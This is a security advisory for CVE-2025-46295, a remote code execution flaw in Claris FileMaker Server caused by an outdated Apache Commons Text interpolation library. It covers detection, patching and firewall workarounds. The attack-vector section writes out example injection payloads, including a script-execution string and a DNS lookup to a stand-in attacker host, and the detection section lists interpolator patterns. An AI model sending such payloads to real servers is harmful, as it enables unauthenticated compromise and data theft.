CVE-2025-46295: Claris FileMaker Server RCE Vulnerability

CVE-2025-46295 Overview

CVE-2025-46295 is a critical code injection vulnerability affecting Claris FileMaker Server. The vulnerability originates from the inclusion of Apache Commons Text versions prior to 1.10.0, which contained interpolation features susceptible to abuse. When applications pass untrusted input into the text-substitution API, certain interpolators can trigger dangerous actions including command execution and access to external resources, potentially enabling remote code execution.

Critical Impact

Attackers can achieve remote code execution by exploiting insecure string interpolation in FileMaker Server, allowing complete system compromise without authentication.

Affected Products

• Claris FileMaker Server versions prior to 22.0.4
• Systems using Apache Commons Text versions prior to 1.10.0
• Any FileMaker Server deployment accepting untrusted input through text-substitution APIs

Discovery Timeline

• December 16, 2025 - CVE-2025-46295 published to NVD
• December 23, 2025 - Last updated in NVD database

Technical Details for CVE-2025-46295

Vulnerability Analysis

This vulnerability is classified as Code Injection (CWE-94) and stems from insecure use of the Apache Commons Text string interpolation functionality. The Apache Commons Text library provides powerful text-substitution capabilities through various interpolators, including ones that can execute system commands, resolve DNS lookups, access environment variables, and interact with external resources.

When FileMaker Server processes user-controlled input through these interpolation functions without proper sanitization, an attacker can craft malicious input strings containing interpolator syntax. These specially crafted strings can trigger unintended actions on the server, including arbitrary command execution with the privileges of the FileMaker Server process.

The vulnerability requires no authentication and can be exploited remotely over the network, making it particularly dangerous for internet-facing FileMaker Server deployments.

Root Cause

The root cause lies in the unsafe default behavior of Apache Commons Text's StringSubstitutor class in versions prior to 1.10.0. Several default interpolators were enabled that could perform dangerous operations:

• Script interpolator: Executes arbitrary scripts via the Java scripting API
• DNS interpolator: Performs DNS lookups that can exfiltrate data
• URL interpolator: Fetches content from arbitrary URLs (SSRF)

FileMaker Server's integration with this vulnerable library allowed untrusted user input to reach these interpolation functions, creating the exploitation path.

Attack Vector

The attack vector is network-based, requiring no user interaction or prior authentication. An attacker can send specially crafted requests to a vulnerable FileMaker Server instance containing malicious interpolation strings. When the server processes these strings through the Apache Commons Text API, the embedded interpolator commands execute.

A typical attack flow involves:

1. Identifying a FileMaker Server endpoint that processes user input through text substitution
2. Crafting a malicious payload using interpolation syntax (e.g., ${script:javascript:...})
3. Sending the payload to the vulnerable endpoint
4. Achieving code execution when the server processes the interpolation

The vulnerability mechanism involves exploiting the Apache Commons Text interpolation feature. When a vulnerable application passes untrusted input to StringSubstitutor, attackers can inject interpolator syntax such as ${script:javascript:java.lang.Runtime.getRuntime().exec('command')} or ${dns:attacker.com} to execute arbitrary commands or exfiltrate data. See the Claris Support Article for additional technical details.

Detection Methods for CVE-2025-46295

Indicators of Compromise

• Unusual outbound DNS queries or network connections from FileMaker Server processes
• Unexpected child processes spawned by the FileMaker Server application
• Log entries containing interpolation syntax patterns such as ${script:, ${dns:, or ${url:
• Evidence of command execution artifacts in server logs or file system changes

Detection Strategies

• Monitor FileMaker Server request logs for patterns containing ${ followed by known interpolator prefixes like script:, dns:, url:, or file:
• Deploy network intrusion detection rules to identify interpolation payload patterns in HTTP traffic destined for FileMaker Server
• Implement application-layer firewall rules to block requests containing suspicious interpolation syntax
• Use endpoint detection to monitor for unexpected process creation from FileMaker Server services

Monitoring Recommendations

• Enable verbose logging on FileMaker Server to capture detailed request information for forensic analysis
• Configure SIEM rules to alert on interpolation-related patterns in FileMaker Server logs
• Monitor system process trees for anomalous child processes originating from FileMaker Server
• Track outbound network connections from the server for signs of data exfiltration or reverse shell activity

How to Mitigate CVE-2025-46295

Immediate Actions Required

• Upgrade Claris FileMaker Server to version 22.0.4 or later immediately
• If immediate patching is not possible, restrict network access to FileMaker Server to trusted sources only
• Review and audit any custom integrations that may pass user input to text processing functions
• Implement input validation to reject requests containing interpolation syntax

Patch Information

Claris has released FileMaker Server version 22.0.4 which fully addresses this vulnerability by updating the bundled Apache Commons Text library to version 1.10.0 or later. This updated version disables dangerous interpolators by default, preventing exploitation.

Administrators should download the updated version from the official Claris support portal and follow standard upgrade procedures. The Claris Support Article provides detailed patch information and upgrade guidance.

Workarounds

• Implement network-level access controls to limit FileMaker Server exposure to trusted networks only
• Deploy a web application firewall (WAF) configured to block requests containing interpolation syntax patterns
• If using custom code, explicitly disable dangerous interpolators by using StringSubstitutor with a restricted set of string lookups
• Monitor and restrict outbound network traffic from FileMaker Server to prevent exploitation of DNS and URL interpolators

# Configuration example - Restrict FileMaker Server network access
# Add firewall rules to limit access to trusted networks only
# Linux/iptables example:
iptables -A INPUT -p tcp --dport 5003 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 5003 -j DROP
iptables -A INPUT -p tcp --dport 16000 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 16000 -j DROP